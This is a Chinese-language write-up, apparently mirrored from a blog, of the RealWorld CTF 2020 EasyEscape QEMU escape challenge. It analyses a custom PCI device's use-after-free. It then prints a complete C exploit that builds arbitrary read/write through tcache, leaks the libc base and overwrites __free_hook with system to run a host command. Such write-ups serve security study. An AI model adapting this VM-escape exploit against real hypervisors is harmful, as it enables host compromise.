22

RealWorld CTF 2020 EasyEscape题解

 3 years ago
source link: https://ama2in9.top/2021/01/15/rwctf2020/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

RealWorld CTF 2020 EasyEscape题解

上周看了下RWCTF2020的比赛,题目都很硬核,俺也是不负众望的没做出来手里的题(菜菜菜),赛后根据ctftime上的wp复现一下里面的一道qemu逃逸的题目。

先看下这个题的启动脚本,名为fun的设备看上去就很有问题,拿IDA看下。

#!/bin/sh
#Using to build docker environment
#export LD_LIBRARY_PATH=/lib/x86_64-linux-gnu/pulseaudio
./qemu-system-x86_64 -L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep \
-m 64M \
-monitor none \
-device fun \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-nographic

直接定位到mmio_read/mmio_write函数。代码里有一字节的地方IDA识别为了data,改成nop之后就可以F5了,再结合Fun这个名字去搜索数据结构将函数参数转换一下就可以得到一个比较清晰的逻辑。

struct FunState
{
PCIDevice_0 pdev;
MemoryRegion_0 mmio;
uint32_t_0 addr;
uint32_t_0 size;
uint32_t_0 idx;
uint32_t_0 result_addr;
FunReq *req;
AddressSpace_0 *as;
};
struct FunReq
{
uint32_t_0 total_size;
char *list[127];
};

void __cdecl fun_mmio_write(FunState *opaque, hwaddr addr, uint32_t_0 val, unsigned int size)
{
switch ( addr )
{
case 0uLL:
opaque->size = val;
break;
case 4uLL:
opaque->addr = val;
break;
case 8uLL:
opaque->result_addr = val;
break;
case 0xCuLL:
opaque->idx = val;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_read(opaque, opaque->req, opaque->idx);
break;
case 0x14uLL:
if ( !opaque->req )
opaque->req = create_req(opaque->size);
break;
case 0x18uLL:
if ( opaque->req )
delete_req(opaque->req);
opaque->req = 0LL;
opaque->size = 0;
break;
default:
return;
}
}
//
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
{
uint32_t_0 val; // [rsp+20h] [rbp-10h]

val = -1;
switch ( addr )
{
case 0uLL:
val = opaque->size;
break;
case 4uLL:
val = opaque->addr;
break;
case 8uLL:
val = opaque->result_addr;
break;
case 0xCuLL:
val = opaque->idx;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_write(opaque, opaque->req, opaque->idx);
break;
default:
return val;
}
return val;
}

第一眼看上去像是一道简单的菜单题,几个选项都是对于变量成员的赋值。create_req函数申请创建数据类型为FunReq的变量,创建数量由size决定,申请成功后存放在req->list[i]中,至多为127个。

delete_req函数为循环删除函数,数量由req->total_size决定。

handle_data_read函数中首先调用put_result把固定值写入到fun->result_addr对应的物理内存中,再将fun->addr + (val << 10)的物理内存写到req->list[i]的堆块中。handle_data_write则是将堆块内容读取到物理内存中。

FunReq *__cdecl create_req(uint32_t_0 size)
{
uint32_t_0 i; // [rsp+10h] [rbp-10h]
uint32_t_0 t; // [rsp+14h] [rbp-Ch]
FunReq *req; // [rsp+18h] [rbp-8h]

if ( size > 0x1FBFF )
return 0LL;
req = (FunReq *)malloc(0x400uLL);
memset(req, 0, sizeof(FunReq));
req->total_size = size;
t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
req->list[i] = (char *)malloc(0x400uLL);
return req;
}
//
void __cdecl delete_req(FunReq *req)
{
uint32_t_0 i; // [rsp+18h] [rbp-8h]
uint32_t_0 t; // [rsp+1Ch] [rbp-4h]

t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
free(req->list[i]);
free(req);
}
//
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 idx)
{
if ( req->total_size && idx <= 0x7E && idx < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_read_9(fun->as, (idx << 10) + fun->addr, req->list[idx], 0x400uLL);
put_result(fun, 2u);
}
}
//
void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
//
void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = val;
dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}

做题做到这里俺也进行不下去了,没有找到洞,赛后看到Ex师傅的wp才找到洞emmm。这个洞是put_result函数导致的,函数中调用的dma_memory_write_9最终会调用memory_region_write_accessor这个函数,mr->ops->write(mr->opaque, addr, tmp, size);将会调用到fun_mmio_write,当我们提供的地址为pci设备的内存地址+offset时,实际上给的就是fun_mmio_write(offset,1),假使我们给的offset是0x18,就会调用0x18的delete_req而后删除res->list[i],之后的读写存在UAF

static MemTxResult memory_region_write_accessor(MemoryRegion *mr,hwaddr addr,uint64_t *value,unsigned size,signed shift,uint64_t mask,MemTxAttrs attrs)
{
uint64_t tmp = memory_region_shift_write_access(value, shift, mask);

if (mr->subpage) {
trace_memory_region_subpage_write(get_cpu_index(), mr, addr, tmp, size);
} else if (mr == &io_mem_notdirty) {
/* Accesses to code which has previously been translated into a TB show
* up in the MMIO path, as accesses to the io_mem_notdirty
* MemoryRegion. */
trace_memory_region_tb_write(get_cpu_index(), addr, tmp, size);
} else if (TRACE_MEMORY_REGION_OPS_WRITE_ENABLED) {
hwaddr abs_addr = memory_region_to_absolute_addr(mr, addr);
trace_memory_region_ops_write(get_cpu_index(), mr, abs_addr, tmp, size);
}
mr->ops->write(mr->opaque, addr, tmp, size);
return MEMTX_OK;
}

这个漏洞的调用链很长,但是对于做题来说下断点到fun_mmio_write或者delete_req去观察一下handle_data_read的调用其实就能观察出来,这也暴露出来俺没有耐心动调的问题= =。。。

1.png

任意地址读写

有了UAF,首先调用create_req新建3个req,根据顺序释放之后req->bk=next_key=tcache_entry,因此我们读取req->list[0]相当于读取tcache_entry,根据偏移可以找到tcache->bins[0x410]即req的地址。

读取req->list[1],其bk指针即为tcache_entry。

2.png

3.png

通过UAF劫持到req,这里因为之前已经知道了tcache_entry地址,我们可以利用UAF写req->list[1]->fd = req;req->list[1]->bk = next_key,之后的malloc将得到req->list[2]==req,达到了unlink的效果,即可以任意地址读写。

4.png

根据tcache_entry中的一些残余指针可以二次读得到proc_base相关的地址,通过读取got表可以得到libc地址。

req->list[0]改为__free_hook-0x18,写入将要执行的命令并将free_hook改为system_addr,调用delete_req触发命令执行。因为题目是在ubuntu20.04的,这里还是拿小泽哥的机器搭建环境做题2333,搭环境也有一些坑不过都是谷歌可以解决的就不多说了。

5.png

exp.c

有个很神奇的问题是我mmapdmabuf的顺序不能换,提到前面转换物理地址会失败,记录一下emmm。还有resource文件中记录的地址已经是pci设备的物理地址了,无需再进行转换。

exp的思路和Ex师傅相同,找的地址略有不同。

#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

unsigned char* mmio_mem;

void die(const char* msg)
{
perror(msg);
exit(-1);
}

size_t vir2phy(char *addr){
uint64_t data;

int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

void mmio_write(uint32_t addr,uint32_t value)
{
*((uint32_t *)(mmio_mem+addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem+addr));
}


int main()
{
// Open and map I/O memory for the strng device
char buf[0x400];
char* dmabuf;
char* pci_addr;
char* req;
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

//pci
int fd1 = open("/sys/devices/pci0000:00/0000:00:04.0/resource",O_RDONLY);
if (fd1 == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
memset(buf,0,sizeof(buf));
read(fd1,buf,sizeof(buf));
close(fd1);
sscanf(buf,"%p",&pci_addr);
printf("pci address: %p\n", pci_addr);

mmio_mem = mmap((void *)0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);
dmabuf = mmap((void *)0x12340000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
memset(dmabuf,0,sizeof(dmabuf));

printf("dma buf @ %p\n", vir2phy((char*)dmabuf));
//add lock on dma buf
//crea req 2
mmio_write(0,0xbff);
//set addr = dma_buf
mmio_write(0x4,vir2phy(dmabuf));
//set idx = 0
mmio_write(0xc,0);
//set result addr
mmio_write(0x8,(size_t)pci_addr+0x18);
//malloc
mmio_write(0x14,0);
//trigger
//mmio_write1(0x10,0);

mmio_read(0x10);
req = *(char**)(dmabuf+0x80+0x3f*8);
//store
memcpy(buf,dmabuf,0x400);
printf("Req: %p\n", req);
//leak tcache
char* tcache_entry;
mmio_write(0,0xbff);
mmio_write(0xc,1);
mmio_write(0x14,0);
mmio_read(0x10);
tcache_entry = *(char**)(dmabuf+0x400+8);
printf("Tcache entry: %p\n", tcache_entry);
//control req
mmio_write(0,0xbff);
//malloc
mmio_write(0x14,0);
mmio_write(0xc,1);
//layer
memset(dmabuf,0,sizeof(dmabuf));
*(char**)(dmabuf+0x400) = req;
*(char**)(dmabuf+0x400+8) = tcache_entry;
//trigger
puts("[*]Now we hajack the req struct.");
getchar();
//init : req->2->1->0
//now : req->2->1->req
//chunk2_new = req
mmio_write(0x10,0);
mmio_write(0,0xbff);
mmio_write(0x14,0);
puts("[*]Now we have hajack the req struct.");
getchar();
//disable the bug
mmio_write(0x8,0);


#define SET(address) \
mmio_write(0,0xbff); \
mmio_write(0xc,2); \
memset(dmabuf,0,0x1000);\
*(char**)(dmabuf+0x800) = (char*)0xbff; \
*(char**)(dmabuf+0x800+8) = (address); \
*(char**)(dmabuf+0x800+0x10) = 0; \
*(char**)(dmabuf+0x800+0x18) = (req); \
mmio_write(0x10,0);
//define read
#define READ(address) \
SET((address)); \
mmio_write(0xc,0); \
mmio_read(0x10);
//leak proc base
printf("[*]find a useful addr : %p\n",*(char**)(buf+92*8));
char* useful_addr;
getchar();
READ(*(char**)(buf+92*8));
useful_addr = *(char**)(dmabuf+0x2f8);
printf("[*]Now we got another address: %p\n",useful_addr);
char* proc_base;
proc_base = useful_addr - 0x6761b0;
printf("[*]proc base : %p\n",proc_base);
//leak libc
char* puts_got = proc_base + 0x100DD38;
READ(puts_got);
char* libc_base = *(char**)(dmabuf) - 0x875a0;
printf("[*]libc base : %p\n",libc_base);
char* free_hook = libc_base + 0x1eeb28;
char* system = libc_base + 0x55410;
//cat flag
SET(free_hook-0x18);
char cmd[0x18] = "cat /home/Sndav/flag";
memcpy(dmabuf,cmd,0x18);
*(char**)(dmabuf+0x18) = system;
mmio_write(0xc,0);
mmio_write(0x10,0);
puts("[*]trigger.");
getchar();
mmio_write(0x18,0);
return 0;
}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK